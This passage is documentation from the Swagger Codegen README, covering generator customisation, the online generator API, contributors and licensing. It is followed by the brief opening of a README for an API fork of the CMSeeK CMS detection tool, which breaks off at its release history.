anywhere. build.sh # Matches build.sh in the root /build.sh # Exclude all recursively docs/** # Explicitly allow files excluded by other rules !docs/UserApi.md # Recursively exclude directories named Api # You can't negate files below this directory. src/**/Api/ # When this file is nested under /Api (excluded above), # this rule is ignored because parent directory is excluded by previous rule. !src/**/PetApiTests.cs # Exclude a single, nested file explicitly src/IO.Swagger.Test/Model/AnimalFarmTests.cs ``` The `.swagger-codegen-ignore` file must exist in the root of the output directory. Upon first code generation, you may also pass the CLI option `--ignore-file-override=/path/to/ignore_file` for greater control over generated outputs. Note that this is a complete override, and will override the `.swagger-codegen-ignore` file in an output directory when regenerating code. Editor support for `.swagger-codegen-ignore` files is available in IntelliJ via the [.ignore plugin](https://plugins.jetbrains.com/plugin/7495--ignore). ### Customizing the generator There are different aspects of customizing the code generator beyond just creating or modifying templates. Each language has a supporting configuration file to handle different type mappings, etc: ```sh $ ls -1 modules/swagger-codegen/src/main/java/io/swagger/codegen/languages/ AbstractJavaJAXRSServerCodegen.java AbstractTypeScriptClientCodegen.java ... (results omitted) TypeScriptAngularClientCodegen.java TypeScriptNodeClientCodegen.java ``` Each of these files creates reasonable defaults so you can get running quickly. But if you want to configure package names, prefixes, model folders, etc. you can use a json config file to pass the values. ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java \ -c path/to/config.json ``` and `config.json` contains the following as an example: ```json { "apiPackage" : "petstore" } ``` Supported config options can be different per language. Running `config-help -l {lang}` will show available options. **These options are applied via configuration file (e.g. config.json) or by passing them with `-D{optionName}={optionValue}`**. (If `-D{optionName}` does not work, please open a [ticket](https://github.com/swagger-api/swagger-codegen/issues/new) and we'll look into it) ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l java ``` Output ``` CONFIG OPTIONS modelPackage package for generated models apiPackage package for generated api classes ...... (results omitted) library library template (sub-template) to use: jersey1 - HTTP client: Jersey client 1.18. JSON processing: Jackson 2.4.2 jersey2 - HTTP client: Jersey client 2.6 feign - HTTP client: Netflix Feign 8.1.1. JSON processing: Jackson 2.6.3 okhttp-gson (default) - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 retrofit - HTTP client: OkHttp 2.4.0. JSON processing: Gson 2.3.1 (Retrofit 1.9.0) retrofit2 - HTTP client: OkHttp 2.5.0. JSON processing: Gson 2.4 (Retrofit 2.0.0-beta2) google-api-client - HTTP client: google-api-client 1.23.0. JSON processing: Jackson 2.8.9 ``` Your config file for Java can look like ```json { "groupId":"com.my.company", "artifactId":"MyClient", "artifactVersion":"1.2.0", "library":"feign" } ``` For all the unspecified options default values will be used. Another way to override default options is to extend the config class for the specific language. To change, for example, the prefix for the Objective-C generated files, simply subclass the ObjcClientCodegen.java: ```java package com.mycompany.swagger.codegen; import io.swagger.codegen.languages.*; public class MyObjcCodegen extends ObjcClientCodegen { static { PREFIX = "HELO"; } } ``` and specify the `classname` when running the generator: ``` -l com.mycompany.swagger.codegen.MyObjcCodegen ``` Your subclass will now be loaded and overrides the `PREFIX` value in the superclass. ### Bringing your own models Sometimes you don't want a model generated. In this case, you can simply specify an import mapping to tell the codegen what _not_ to create. When doing this, every location that references a specific model will refer back to your classes. Note, this may not apply to all languages... To specify an import mapping, use the `--import-mappings` argument and specify the model-to-import logic as such: ``` --import-mappings Pet=my.models.MyPet ``` Or for multiple mappings: ``` --import-mappings Pet=my.models.MyPet,Order=my.models.MyOrder ``` or ``` --import-mappings Pet=my.models.MyPet --import-mappings Order=my.models.MyOrder ``` ### Validating your OpenAPI Spec You have options. The easiest is to use our [online validator](https://github.com/swagger-api/validator-badge) which not only will let you validate your spec, but with the debug flag, you can see what's wrong with your spec. For example: http://online.swagger.io/validator/debug?url=http://petstore.swagger.io/v2/swagger.json ### Generating dynamic html api documentation To do so, just use the `-l dynamic-html` flag when reading a spec file. This creates HTML documentation that is available as a single-page application with AJAX. To view the documentation: ```sh cd samples/dynamic-html/ npm install node . ``` Which launches a node.js server so the AJAX calls have a place to go. ### Generating static html api documentation To do so, just use the `-l html` flag when reading a spec file. This creates a single, simple HTML file with embedded css so you can ship it as an email attachment, or load it from your filesystem: ```sh cd samples/html/ open index.html ``` ### To build a server stub Please refer to https://github.com/swagger-api/swagger-codegen/wiki/Server-stub-generator-HOWTO for more information. ### To build the codegen library This will create the swagger-codegen library from source. ```sh mvn package ``` Note! The templates are included in the library generated. If you want to modify the templates, you'll need to either repackage the library OR specify a path to your scripts ## Workflow Integration ### Maven Integration You can use the [swagger-codegen-maven-plugin](modules/swagger-codegen-maven-plugin/README.md) for integrating with your workflow, and generating any codegen target. ### Gradle Integration [Gradle Swagger Generator Plugin](https://github.com/int128/gradle-swagger-generator-plugin) is available for generating source code and API document. ## GitHub Integration To push the auto-generated SDK to GitHub, we provide `git_push.sh` to streamline the process. For example: 1) Create a new repository in GitHub (Ref: https://help.github.com/articles/creating-a-new-repository/) 2) Generate the SDK ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i modules/swagger-codegen/src/test/resources/2_0/petstore.json -l perl \ --git-user-id "wing328" \ --git-repo-id "petstore-perl" \ --release-note "Github integration demo" \ -o /var/tmp/perl/petstore ``` 3) Push the SDK to GitHub ```sh cd /var/tmp/perl/petstore /bin/sh ./git_push.sh ``` ## Online generators One can also generate API client or server using the online generators (https://generator.swagger.io) For example, to generate Ruby API client, simply send the following HTTP request using curl: ```sh curl -X POST -H "content-type:application/json" -d '{"swaggerUrl":"http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/ruby ``` Then you will receieve a JSON response with the URL to download the zipped code. To customize the SDK, you can `POST` to `https://generator.swagger.io/gen/clients/{language}` with the following HTTP body: ```json { "options": {}, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` in which the `options` for a language can be obtained by submitting a `GET` request to `https://generator.swagger.io/api/gen/clients/{language}`: For example, `curl https://generator.swagger.io/api/gen/clients/python` returns ```json { "packageName":{ "opt":"packageName", "description":"python package name (convention: snake_case).", "type":"string", "default":"swagger_client" }, "packageVersion":{ "opt":"packageVersion", "description":"python package version.", "type":"string", "default":"1.0.0" }, "sortParamsByRequiredFlag":{ "opt":"sortParamsByRequiredFlag", "description":"Sort method arguments to place required parameters before optional parameters.", "type":"boolean", "default":"true" } } ``` To set package name to `pet_store`, the HTTP body of the request is as follows: ```json { "options": { "packageName": "pet_store" }, "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" } ``` and here is the curl command: ```sh curl -H "Content-type: application/json" -X POST -d '{"options": {"packageName": "pet_store"},"swaggerUrl": "http://petstore.swagger.io/v2/swagger.json"}' https://generator.swagger.io/api/gen/clients/python ``` Instead of using `swaggerUrl` with an URL to the OpenAPI/Swagger spec, one can include the spec in the JSON payload with `spec`, e.g. ```json { "options": {}, "spec": { "swagger": "2.0", "info": { "version": "1.0.0", "title": "Test API" }, ... } } ``` Guidelines for Contribution --------------------------- Please refer to this [page](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) Companies/Projects using Swagger Codegen ---------------------------------------- Here are some companies/projects using Swagger Codegen in production. To add your company/project to the list, please visit [README.md](https://github.com/swagger-api/swagger-codegen/blob/master/README.md) and click on the icon to edit the page. - [Accengage](https://www.accengage.com/) - [Activehours](https://www.activehours.com/) - [Acunetix](https://www.acunetix.com/) - [Atlassian](https://www.atlassian.com/) - [Autodesk](http://www.autodesk.com/) - [Avenida Compras S.A.](https://www.avenida.com.ar) - [AYLIEN](http://aylien.com/) - [Balance Internet](https://www.balanceinternet.com.au/) - [beemo](http://www.beemo.eu) - [bitly](https://bitly.com) - [BeezUP](http://www.beezup.com) - [Box](https://box.com) - [Bufferfly Network](https://www.butterflynetinc.com/) - [Cachet Financial](http://www.cachetfinancial.com/) - [carpolo](http://www.carpolo.co/) - [CloudBoost](https://www.CloudBoost.io/) - [Cisco](http://www.cisco.com/) - [Conplement](http://www.conplement.de/) - [Cummins](http://www.cummins.com/) - [Cupix](http://www.cupix.com) - [DBBest Technologies](https://www.dbbest.com) - [DecentFoX](http://decentfox.com/) - [DocRaptor](https://docraptor.com) - [DocuSign](https://www.docusign.com) - [Elastic](https://www.elastic.co/) - [Ergon](http://www.ergon.ch/) - [Dell EMC](https://www.emc.com/) - [eureka](http://eure.jp/) - [everystory.us](http://everystory.us) - [Expected Behavior](http://www.expectedbehavior.com/) - [Fastly](https://www.fastly.com/) - [FINRA](https://github.com/FINRAOS/herd/) - [Flat](https://flat.io) - [Finder](http://en.finder.pl/) - [Fitwell](https://fitwell.co/) - [FH Münster - University of Applied Sciences](http://www.fh-muenster.de) - [Fotition](https://www.fotition.com/) - [Gear Zero Network](https://www.gearzero.ca) - [General Electric](https://www.ge.com/) - [Genesys - PureCloud](http://developer.mypurecloud.com/) - [Germin8](http://www.germin8.com) - [GigaSpaces](http://www.gigaspaces.com) - [goTransverse](http://www.gotransverse.com/api) - [GraphHopper](https://graphhopper.com/) - [Gravitate Solutions](http://gravitatesolutions.com/) - [HashData](http://www.hashdata.cn/) - [Hewlett Packard Enterprise](https://hpe.com) - [High Technologies Center](http://htc-cs.com) - [IBM](https://www.ibm.com) - [IMS Health](http://www.imshealth.com/en/solution-areas/technology-and-applications) - [Individual Standard IVS](http://www.individual-standard.com) - [Intent HQ](http://www.intenthq.com) - [Kabuku](http://www.kabuku.co.jp/en) - [Kurio](https://kurio.co.id) - [Kuroi](http://kuroiwebdesign.com/) - [Kuary](https://kuary.com/) - [Kubernetes](https://kubernetes.io/) - [LANDR Audio](https://www.landr.com/) - [Lascaux](http://www.lascaux.it/) - [Leanix](http://www.leanix.net/) - [Leica Geosystems AG](http://leica-geosystems.com) - [LiveAgent](https://www.ladesk.com/) - [LXL Tech](http://lxltech.com) - [Lyft](https://www.lyft.com/developers) - [MailMojo](https://mailmojo.no/) - [Metaswitch](https://www.metaswitch.com/) - [Mindera](http://mindera.com/) - [Mporium](http://mporium.com/) - [Neverfail](https://neverfail.com/) - [NTT DATA](http://www.nttdata.com/) - [nViso](http://www.nviso.ch/) - [Okiok](https://www.okiok.com) - [Onedata](http://onedata.org) - [Open International Systems](https://openintl.com/) - [OrderCloud.io](http://ordercloud.io) - [OSDN](https://osdn.jp) - [PagerDuty](https://www.pagerduty.com) - [PagerTree](https://pagertree.com) - [Pepipost](https://www.pepipost.com) - [Plexxi](http://www.plexxi.com) - [Pixoneye](http://www.pixoneye.com/) - [PostAffiliatePro](https://www.postaffiliatepro.com/) - [PracticeBird](https://www.practicebird.com/) - [Prill Tecnologia](http://www.prill.com.br) - [QAdept](http://qadept.com/) - [QuantiModo](https://quantimo.do/) - [QuickBlox](https://quickblox.com/) - [Rapid7](https://rapid7.com/) - [Red Hat](https://www.redhat.com/) - [Reload! A/S](https://reload.dk/) - [REstore](https://www.restore.eu) - [Revault Sàrl](http://revault.ch) - [Riffyn](https://riffyn.com) - [Royal Bank of Canada (RBC)](http://www.rbc.com/canada.html) - [Saritasa](https://www.saritasa.com/) - [SAS](https://www.sas.com) - [SCOOP Software GmbH](http://www.scoop-software.de) - [Shine Solutions](https://shinesolutions.com/) - [Simpfony](https://www.simpfony.com/) - [Skurt](http://www.skurt.com) - [Slamby](https://www.slamby.com/) - [SmartRecruiters](https://www.smartrecruiters.com/) - [snapCX](https://snapcx.io) - [SPINEN](http://www.spinen.com) - [Sponsoo](https://www.sponsoo.de) - [SRC](https://www.src.si/) - [Stardog Ventures](https://www.stardog.io) - [Stingray](http://www.stingray.com) - [StyleRecipe](http://stylerecipe.co.jp) - [Svenska Spel AB](https://www.svenskaspel.se/) - [Switch Database](https://www.switchdatabase.com/) - [TaskData](http://www.taskdata.com/) - [ThoughtWorks](https://www.thoughtworks.com) - [Trexle](https://trexle.com/) - [Upwork](http://upwork.com/) - [uShip](https://www.uship.com/) - [VMware](https://vmware.com/) - [Viavi Solutions Inc.](https://www.viavisolutions.com) - [W.UP](http://wup.hu/?siteLang=en) - [Wealthfront](https://www.wealthfront.com/) - [Webever GmbH](https://www.webever.de/) - [WEXO A/S](https://www.wexo.dk/) - [XSky](http://www.xsky.com/) - [Yelp](http://www.yelp.com/) - [Zalando](https://tech.zalando.com) - [ZEEF.com](https://zeef.com/) - [zooplus](https://www.zooplus.com/) Presentations/Videos/Tutorials/Books ---------------------------------------- - 2011/08/31 - [Introducing Swagger](https://www.slideshare.net/fehguy/introducing-swagger) by [Tony Tam](https://twitter.com/fehguy) - 2014/05/22 - [Swagger APIs for Humans and Robots](https://www.slideshare.net/fehguy/swagger-apis-for-humans-and-robots-gluecon) by [Tony Tam](https://twitter.com/fehguy) at [Gluecon](http://gluecon.com/) - 2014/11/11 - [Genie 2.0: Second Wish Granted!](https://medium.com/netflix-techblog/genie-2-0-second-wish-granted-d888d79455c6) by [Tom Gianos](http://www.linkedin.com/in/thomasgianos/) and [Amit Sharma](https://www.linkedin.com/pub/amit-sharma/5/163/a83) @ [Netflix](https://www.netflix.com/) Big Data Platform Team - 2015/07/28 - [Enriching RESTful Services with Swagger](https://blog.philipphauer.de/enriching-restful-services-swagger/) by [Philipp Hauer](https://blog.philipphauer.de/) - 2015/11/11 - [Generate client stubs & document your REST-API using Swagger & Spring](https://www.youtube.com/watch?v=43GhBbP--oI) by [Johannes Fiala](https://github.com/jfiala) @ Devoxx Belgium 2015 - 2015/12/03 - [こんなに簡単! Swagger Codegenのカスタマイズ](http://qiita.com/Quramy/items/c583f3213f0b77ff1bac) by [Quramy](http://qiita.com/Quramy) - 2016/01/12 - [Generate client side code using Swagger Codegen](http://rnavagamuwa.com/open-source/generate-client-side-code-using-swagger-codegen/) by [RNAVAGAMUWA](http://rnavagamuwa.com/author/admin/) - 2016/01/15 - [How to end manual REST-API client coding](https://www.youtube.com/watch?v=RzZRdqZp6Oo) by [Johannes Fiala](https://github.com/jfiala) @ dotJS 2015 - 2016/04/27 - [Automated REST API Development](https://yos.io/2016/04/27/automated-api-development/) by [Yos Riady](https://www.linkedin.com/in/yosriady) - 2016/05/29 - [Generating Java Spring-MVC code from Swagger Spec](https://www.clianz.com/2016/05/29/java-mvc-swagger-gen/) by [@icha024](https://github.com/icha024) - 2016/09/28 - [1 UNBELIEVABLE TRICK TO CREATE AN EASY TO CONSUME API IN .NET](https://stapp.space/1-simple-trick-to-create-a-good-api-in-net/) by [Piotr Stapp](https://stapp.space/author/piotr-stapp/) - 2016/10/10 - [Using swagger-codegen with Marketo](http://developers.marketo.com/blog/using-swagger-codegen-with-marketo/) by [Kenny Elkington](http://developers.marketo.com/blog/using-swagger-codegen-with-marketo/) - 2016/10/12 - [Designing a Swagger API](https://sookocheff.com/post/api/swagger/) by [Kevin Sookocheff](https://sookocheff.com/) - 2016/11/05 - [How to generate a REST Application](https://www.youtube.com/watch?v=iyC9BWMe75Q) by [Johannes Fiala](https://github.com/jfiala) @ DevFest Vienna 2016 - 2016/11/10 - [Building an AEM API clients ecosystem](http://blog.cliffano.com/2016/11/10/adobe-marketing-cloud-community-expo/) by Cliffano Subagio, Michael Diender, Stephen Shim from [Shine Solutions](https://shinesolutions.com/) @ [Adobe Marketing Cloud Community Expo (AMCCE)](https://www.meetup.com/Melbourne-AEM-CQ-Meetup/events/233363101/) - 2016/11/18 - [How to generate a REST CXF3 application from Swagger-Contract](https://www.slideshare.net/johannes_fiala/how-to-generate-a-rest-cxf3-application-from-swagger-apacheconeu-2016) by [Johannes Fiala](https://github.com/jfiala) @ ApacheConEU 2016 - 2016/11/25 - [Swagger Codegen for Swift3 and NodeJS](https://normand1.github.io/blog/swift/swagger/codegen/2016/11/25/Swagger-Codegen-for-Swift3-and-NodeJS.html) by [David Norman](https://github.com/normand1) - 2016/12/08 - [Generate client side code using Swagger Codegen](https://carra-lucia-ltd.co.uk/2016/12/08/generate-client-side-code-using-swagger-codegen/) by [theFerkel](https://carra-lucia-ltd.co.uk/author/theferkel/) - 2017/01/16 - [Zero to API in 4 minutes](https://cidrblock.github.io/zero-to-api-in-4-minutes.html) by [Bradley A. Thornton](https://github.com/cidrblock) - 2017/02/09 - [「Swaggerを利用した新規サービス開発」というタイトルで登壇して来ました](https://techblog.recochoku.jp/1055) by [recotech](https://www.slideshare.net/recotech) - 2017/03/03 - [Swagger Codegen の使い方の簡単な説明です](https://speakerdeck.com/wagyu298/swagger-codegen) by [wagyu298](https://github.com/wagyu298) - 2017/03/24 - [Using Open API Specification To Put Lyft SDK Support in the Fast Lane](https://medium.com/lyft-developer-platform/using-open-api-specification-to-put-lyft-sdk-support-in-the-fast-lane-7b623218e4ee) by [Val Polouchkine](https://github.com/vpolouchkine) - 2017/04/13 - [Automatically Generating your API Client with Swagger and Swagger Codegen](https://www.youtube.com/watch?v=EzKwi-u9jQo) by [Jesse Collis](https://github.com/jessedc) @ Melbourne Cocoaheads - 2017/04/27 - [Swagger Codegen のPHP実装があまりにアレだったので、ライブラリ自作して公開してみた](http://qiita.com/imunew/items/2e9c472e0097e329f2cd) by [imunew](http://qiita.com/imunew) - 2017/05/17 - [Diseño de APIs con OpenAPI](https://www.slideshare.net/pjmolina/diseo-de-apis-con-openapi) by [Pedro J. Molina](https://github.com/pjmolina) @ [JSDayES 2017](http://2017.jsday.es/) - 2017/05/22 - [Presentation of the Vert.x-Swagger project](http://vertx.io/blog/presentation-of-the-vert-x-swagger-project/) by [@phiz71](http://github.com/phiz71) - 2017/05/22 - [Automatically generating your API from a swagger file using gradle](https://www.jcore.com/2017/05/22/automatically-generating-api-using-swagger-and-gradle/) by [Deniz Turan](https://www.jcore.com/author/deniz/) - 2017/06/21 - [Swagger Presentation - Warsaw Ruby Users Group](https://www.youtube.com/watch?v=uCnnDMFQB8U) by [@rafalpetryka](http://github.com/rafalpetryka) - 2017/06/29 - [Making SDKs: the bespoke, the hopeful and the generated](https://devrel.net/developer-experience/making-sdks-bespoke-hopeful-generated) by [Tristan Sokol](https://github.com/tristansokol) ([Square](https://github.com/square)) at DevXcon 2017 - 2017/07/11 - [OpenAPI development with Python](https://www.slideshare.net/TakuroWada/20170711-euro-python2017) by [和田拓朗](https://github.com/taxpon) at [EuroPython 2017](https://ep2017.europython.eu/en/) - 2017/07/29 - [How Square makes its SDKs](https://medium.com/square-corner-blog/how-square-makes-its-sdks-6a0fd7ea4b2d) by [Tristan Sokol](https://github.com/tristansokol) ([Square](https://github.com/square)) - 2017/07/31 - [How to Generate a Deployable REST CXF3 Application from a Swagger-Contract](https://www.youtube.com/watch?v=gM63rJlUHZQ) by [Johannes Fiala](https://github.com/jfiala) @ Voxxed Days Vienna - 2017/08/11 - [Swagger Codegen 自动生成Retrofit 代码](https://juejin.im/entry/598d8eb86fb9a03c52459e2a) by [徐磊](http://www.jianshu.com/u/792c738b33fc) - 2017/08/24 - [APIs First](https://engineering.squarespace.com/blog/2017/apis-first) by [roykachouh](https://github.com/roykachouh) ([Square](https://github.com/square)) - 2017/08/31 - [Bringing Jenkins Remote Access API To The Masses](http://blog.cliffano.com/2017/09/01/jenkins-world-2017/) by [Cliffano Subagio](http://cliffano.com) from [Shine Solutions](https://shinesolutions.com/) @ [Jenkins World 2017](https://jenkinsworld20162017.sched.com/) - 2017/09/08 - [Swagger Codegen で自動生成したクライアントSDKを使う(iOS編)](http://blog.techium.jp/entry/2017/09/08/071650) by [kfurue](http://profile.hatena.ne.jp/kfurue/) - 2017/09/09 - [Swagger Codegen で自動生成したクライアントSDKを使う(RxSwift 編)](http://blog.techium.jp/entry/2017/09/09/113003) by [kfurue](http://profile.hatena.ne.jp/kfurue/) - 2017/09/09 - [OpenAPIを利用したPythonWebアプリケーション開発](https://www.slideshare.net/TakuroWada/openapipythonweb) by [和田拓朗](https://github.com/taxpon) at [PyCon JP 2017](https://pycon.jp/2017/ja/) - 2017/09/21 - [Generating an Elastic Cloud Enterprise Client](https://www.elastic.co/blog/generating-an-elastic-cloud-enterprise-client) by [Greg Marzouka](https://github.com/gmarz) ([Elastic](https://www.elastic.co/)) - 2017/09/26 - [How to Use IoT Application Enablement Api Hub JSON Descriptor in Postman and How to Generate Client Code](https://www.linkedin.com/in/radu-simen/) by [Radu Simen](https://www.linkedin.com/in/radu-simen/) ([SAP](https://www.sap.com/)) - 2017/09/28 - [Swagger Codegenで APIクライアントgem 自動生成 #m3kt](https://speakerdeck.com/juntaki/swagger-codegende-apikuraiantogem-zi-dong-sheng-cheng-number-m3kt) by [Jumpei Takiyasu](https://github.com/juntaki) - 2017/09/30 - [Swaggerのテンプレートを魔改造した話 #渋谷java](https://www.slideshare.net/int128/swagger-80309224) by [Hidetake Iwata](https://github.com/int128) ([NTT DATA Corporation](http://www.nttdata.com/global/en/)) - 2017/10/04 - [Enterprise-friendly Java client for Microsoft Machine Learning Server](https://blogs.msdn.microsoft.com/mlserver/2017/10/04/enterprise-friendly-java-client-for-microsoft-machine-learning-server/) by [Pratik Palnitkar](https://www.linkedin.com/in/pratikpalnitkar/) ([Microsoft](https://www.microsoft.com/)) - 2017/10/08 - [Generating a REST Ada client with OpenAPI and Swagger Codegen](https://blog.vacs.fr/vacs/blogs/post.html?post=2017/10/08/Generating-a-REST-Ada-client-with-OpenAPI-and-Swagger-Codegen) by [Stephane Carrez](https://github.com/stcarrez) # Swagger Codegen Core Team Swagger Codegen core team members are contributors who have been making significant contributions (review issues, fix bugs, make enhancements, etc) to the project on a regular basis. ## API Clients | Languages | Core Team (join date) | |:-------------|:-------------| | ActionScript | | | C++ | | | C# | @jimschubert (2016/05/01) | | Clojure | @xhh (2016/05/01) | | Dart | | | Groovy | | | Go | @guohuang (2016/05/01) @neilotoole (2016/05/01) | | Java | @cbornet (2016/05/01) @xhh (2016/05/01) @epaul (2016/06/04) | | Java (Spring Cloud) | @cbornet (2016/07/19) | | Kotlin | @jimschubert (2016/05/01) | | NodeJS/Javascript | @xhh (2016/05/01) | | ObjC | @mateuszmackowiak (2016/05/09) | | Perl | @wing328 (2016/05/01) | | PHP | @arnested (2016/05/01) | | Python | @scottrw93 (2016/05/01) | | Ruby | @wing328 (2016/05/01) @zlx (2016/05/22) | | Scala | | | Swift | @jaz-ah (2016/05/01) @Edubits (2016/05/01) | | TypeScript (Node) | @Vrolijkx (2016/05/01) | | TypeScript (Angular1) | @Vrolijkx (2016/05/01) | | TypeScript (Angular2) | @Vrolijkx (2016/05/01) | | TypeScript (Fetch) | | ## Server Stubs | Languages | Core Team (date joined) | |:------------- |:-------------| | C# ASP.NET5 | @jimschubert (2016/05/01) | | Go Server | @guohuang (2016/06/13) | | Haskell Servant | | | Java Spring Boot | @cbornet (2016/07/19) | | Java Spring MVC | @kolyjjj (2016/05/01) @cbornet (2016/07/19) | | Java JAX-RS | | | Java Play Framework | | | NancyFX | | | NodeJS | @kolyjjj (2016/05/01) | | PHP Lumen | @abcsun (2016/05/01) | | PHP Silex | | | PHP Slim | | | Python Flask | | | Ruby Sinatra | @wing328 (2016/05/01) | | | Scala Scalatra | | | | Scala Finch | @jimschubert (2017/01/28) | ## Template Creator Here is a list of template creators: * API Clients: * Ada: @stcarrez * Akka-Scala: @cchafer * Apex: @asnelling * Bash: @bkryza * C++ REST: @Danielku15 * C# (.NET 2.0): @who * C# (.NET Standard 1.3 ): @Gronsak * C# (.NET 4.5 refactored): @jimschubert * Clojure: @xhh * Dart: @yissachar * Elixir: @niku * Eiffel: @jvelilla * Groovy: @victorgit * Go: @wing328 * Go (rewritten in 2.3.0): @antihax * Haskell (http-client): @jonschoning * Java (Feign): @davidkiss * Java (Retrofit): @0legg * Java (Retrofit2): @emilianobonassi * Java (Jersey2): @xhh * Java (okhttp-gson): @xhh * Java (RestTemplate): @nbruno * Java (RESTEasy): @gayathrigs * Java (Vertx): @lopesmcc * Java (Google APIs Client Library): @charlescapps * Javascript/NodeJS: @jfiala * Javascript (Closure-annotated Angular) @achew22 * JMeter: @davidkiss * Kotlin: @jimschubert * Lua: @daurnimator * Perl: @wing328 * PHP (Guzzle): @baartosz * PowerShell: @beatcracker * R: @ramnov * Rust: @farcaller * Rust (rust-server): @metaswitch * Scala (scalaz & http4s): @tbrown1979 * Swift: @tkqubo * Swift 3: @hexelon * Swift 4: @ehyche * TypeScript (Node): @mhardorf * TypeScript (Angular1): @mhardorf * TypeScript (Fetch): @leonyu * TypeScript (Angular2): @roni-frantchi * TypeScript (jQuery): @bherila * Server Stubs * C# ASP.NET5: @jimschubert * C# NancyFX: @mstefaniuk * C++ Pistache: @sebymiano * C++ Restbed: @stkrwork * Erlang Server: @galaxie * Go Server: @guohuang * Haskell Servant: @algas * Java MSF4J: @sanjeewa-malalgoda * Java Spring Boot: @diyfr * Java Undertow: @stevehu * Java Play Framework: @JFCote * JAX-RS RestEasy: @chameleon82 * JAX-RS CXF: @hiveship * JAX-RS CXF (CDI): @nickcmaynard * JAX-RS RestEasy (JBoss EAP): @jfiala * PHP Lumen: @abcsun * PHP Slim: @jfastnacht * PHP Symfony: @ksm2 * PHP Zend Expressive (with Path Handler): @Articus * Ruby on Rails 5: @zlx * Rust (rust-server): @metaswitch * Scala Finch: @jimschubert * Documentation * HTML Doc 2: @jhitchcock * Confluence Wiki: @jhitchcock * Configuration * Apache2: @stkrwork ## How to join the core team Here are the requirements to become a core team member: - rank within top 50 in https://github.com/swagger-api/swagger-codegen/graphs/contributors - to contribute, here are some good [starting points](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22) - regular contributions to the project - about 3 hours per week - for contribution, it can be addressing issues, reviewing PRs submitted by others, submitting PR to fix bugs or make enhancements, etc To join the core team, please reach out to [email protected] (@wing328) for more information. To become a Template Creator, simply submit a PR for new API client (e.g. Rust, Elixir) or server stub (e.g. Ruby Grape) generator. # Swagger Codegen Technical Committee Members of the Swagger Codegen technical committee shoulder the following responsibilities: - Provides guidance and direction to other users - Reviews pull requests and issues - Improves the generator by making enhancements, fixing bugs or updating documentations - Sets the technical direction of the generator Who is eligible? Those who want to join must have at least 3 PRs merged into a generator. (Exceptions can be granted to template creators or contributors who have made a lot of code changes with less than 3 merged PRs) If you want to join the committee, please kindly apply by sending an email to [email protected] ([@wing328](https://github.com/wing328)) with your Github ID. ## Members of Technical Committee | Languages | Member (join date) | |:-------------|:-------------| | ActionScript | | | Android | @jaz-ah (2017/09) | | Apex | | | Bash | @frol (2017/07) @bkryza (2017/08) @kenjones-cisco (2017/09) | | C++ | @ravinikam (2017/07) @stkrwork (2017/07) | | C# | @mandrean (2017/08) @jimschubert (2017/09) | | Clojure | | | Dart | @ircecho (2017/07) | | Eiffel | @jvelilla (2017/09) | | Elixir | | | Erlang | | | Groovy | | | Go | | | Haskell | | | Java | @bbdouglas (2017/07) @JFCote (2017/08) @sreeshas (2017/08) @jfiala (2017/08) @lukoyanov (2017/09) @cbornet (2017/09) | | Kotlin | @jimschubert (2017/09) | | Lua | @daurnimator (2017/08) | | NodeJS/Javascript | @CodeNinjai (2017/07) @frol (2017/07) @cliffano (2017/07) | | ObjC | | | Perl | @wing328 (2017/07) | | PHP | @jebentier (2017/07) @dkarlovi (2017/07) @mandrean (2017/08) @jfastnacht (2017/09) @ackintosh (2017/09) | | Python | @taxpon (2017/07) @frol (2017/07) @mbohlool (2017/07) @cbornet (2017/09) | | R | | | Ruby | @cliffano (2017/07) @zlx (2017/09) | | Rust | @frol (2017/07) @farcaller (2017/08) | | Scala | @clasnake (2017/07) @jimschubert (2017/09) | | Swift | @jgavris (2017/07) @ehyche (2017/08) @Edubits (2017/09) @jaz-ah (2017/09) | | TypeScript | @TiFu (2017/07) @taxpon (2017/07) @sebastianhaas (2017/07) @kenisteward (2017/07) @Vrolijkx (2017/09) | # License information on Generated Code The Swagger Codegen project is intended as a benefit for users of the Swagger / Open API Specification. The project itself has the [License](#license) as specified. In addition, please understand the following points: * The templates included with this project are subject to the [License](#license). * Generated code is intentionally _not_ subject to the parent project license When code is generated from this project, it shall be considered **AS IS** and owned by the user of the software. There are no warranties--expressed or implied--for generated code. You can do what you wish with it, and once generated, the code is your responsibility and subject to the licensing terms that you deem appropriate. License ------- Copyright 2017 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at [apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0) Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --- <img src="http://swagger.io/wp-content/uploads/2016/02/logo.jpg"/>
<p align='center'> <img src="https://i.imgur.com/5VYs1m2.png" alt="Logo"> <br> <a href="https://github.com/Tuhinshubhra/CMSeeK/releases/tag/v.1.1.3"><img src="https://img.shields.io/badge/Version-1.1.3-brightgreen.svg?style=style=flat-square" alt="version"></a> <a href="https://github.com/Tuhinshubhra/CMSeeK/"><img src="https://img.shields.io/badge/python-3-orange.svg?style=style=flat-square" alt="Python Version"></a> <a href="https://github.com/Tuhinshubhra/CMSeeK/stargazers"><img src="https://img.shields.io/github/stars/Tuhinshubhra/CMSeeK.svg" alt="GitHub stars" /></a> <a href="https://github.com/Tuhinshubhra/CMSeeK/blob/master/LICENSE"><img src="https://img.shields.io/github/license/Tuhinshubhra/CMSeeK.svg" alt="GitHub license" /></a> <a href="https://twitter.com/r3dhax0r"><img src="https://img.shields.io/twitter/url/https/github.com/Tuhinshubhra/CMSeeK.svg?style=social" alt="Twitter" /></a> </p> ## API This fork has been modified to run a web server with an API to perform queries. ## What is a CMS? > A content management system (CMS) manages the creation and modification of digital content. It typically supports multiple users in a collaborative environment. Some noteable examples are: *WordPress, Joomla, Drupal etc*. ## Release History ``` - 